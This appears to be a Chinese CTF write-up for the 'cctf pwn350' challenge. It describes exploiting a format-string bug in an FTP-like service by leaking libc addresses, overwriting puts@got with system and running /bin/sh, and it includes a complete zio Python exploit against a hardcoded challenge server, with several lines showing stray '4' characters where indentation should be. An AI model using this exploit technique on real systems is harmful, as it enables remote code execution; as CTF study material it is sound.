cctf pwn350

0x00:

之前打了CCTF,在CCTF的过程中遇到一个比较有意思的思路,记录一下。

0x01:

可以看到,这是一个 fmt 的漏洞,不过很简单,接收的输入都在stack中,可以确定输入在栈中的位置,可以做到 任意地址读写。

一般来说,对于这种类型的漏洞,写shellcode到合适的地址然后跳转过去,或者leak 出 system地址,改其他函数的got,都是可以拿一个shell的。
本来,我的思路很窄,想的是构造一个循环,去leak我需要的函数,然后改got去拿shell。
joker师傅提点了我一下,可以leak任意两个函数地址,然后去 libcdb.com 查一波libc的版本,就可以确定libc版本,从而得到system的偏移。

0x02:

综上利用思路就是,leak出任意两个函数地址,然后确定system()的偏移,改掉puts@got,构造puts调用的参数为/bin/sh 就可以拿到shell啦。
这是我找libc的时候截图

0x03:exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from zio import *
#target = './pwn3'
target = ('120.27.155.82',9000)
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "red")
pwd = "rxraclhm"
def put_file(name,content):
4io.read_until('ftp>')
4io.writeline("put")
4io.read_until("upload:")
4io.writeline(name)
4io.read_until("content:")
4io.writeline(content)
def get_file(name):
4io.read_until('ftp>')
4io.writeline("get")
4io.read_until('get:')
4io.writeline(name)
def get_file2(name):
4io.writeline("get")
4io.read_until('get:')
4io.writeline(name)
def put_file2(name,content):
4io.writeline("put")
4io.read_until("upload:")
4io.writeline(name)
4io.read_until("content:")
4io.writeline(content)
pl1 = l32(0x0804A014) #printf@got
pl1 += ",%7$s,"
pl2 = l32(0x0804A024) #malloc@got
pl2 += ",%7$s,"
pl3 = l32(0x0804A028) #puts@got
pl3 += ",%7$s,"
offset_puts_to_system = 0x00065650 - 0x00040190
#offset_puts_to_system = 0x269a0 # local
io = zio(target,print_read=r_m,print_write=w_m,timeout=999)
io.read_until('):')
io.writeline(pwd)
put_file("a",pl3)
#raw_input('$$$$')
get_file("a")
rec = io.read_until('>').strip()
junk1,addr,junk2 = rec.split(',')
print "[*]puts is at:%s" % (addr[0:4][::-1] or '').encode('hex')
addr = addr[0:4][::-1].encode('hex')
system_addr = hex(int(addr,16) - offset_puts_to_system)
puts_addr = hex(int(addr,16))
print "[*]system is at:" + system_addr
x = int(addr,16) - offset_puts_to_system
#a,b,c,d = [(x >> i) & 0b11111111 for i in range(0, 25, 16)]
a,b = [(x >> i) & 0b1111111111111111 for i in range(0, 25, 16)]
print hex(a)+","+hex(b)
put_file2("c",l32(0x0804A028)+"%%%dc"%(a-4)+"%7$hn")
raw_input('$$$')
get_file("c")
put_file2("d",l32(0x0804A028+2)+"%%%dc"%(b-4)+"%7$hn")
get_file("d")
put_file2("/bin/sh;","test")
io.writeline('dir')
io.interact()

get shell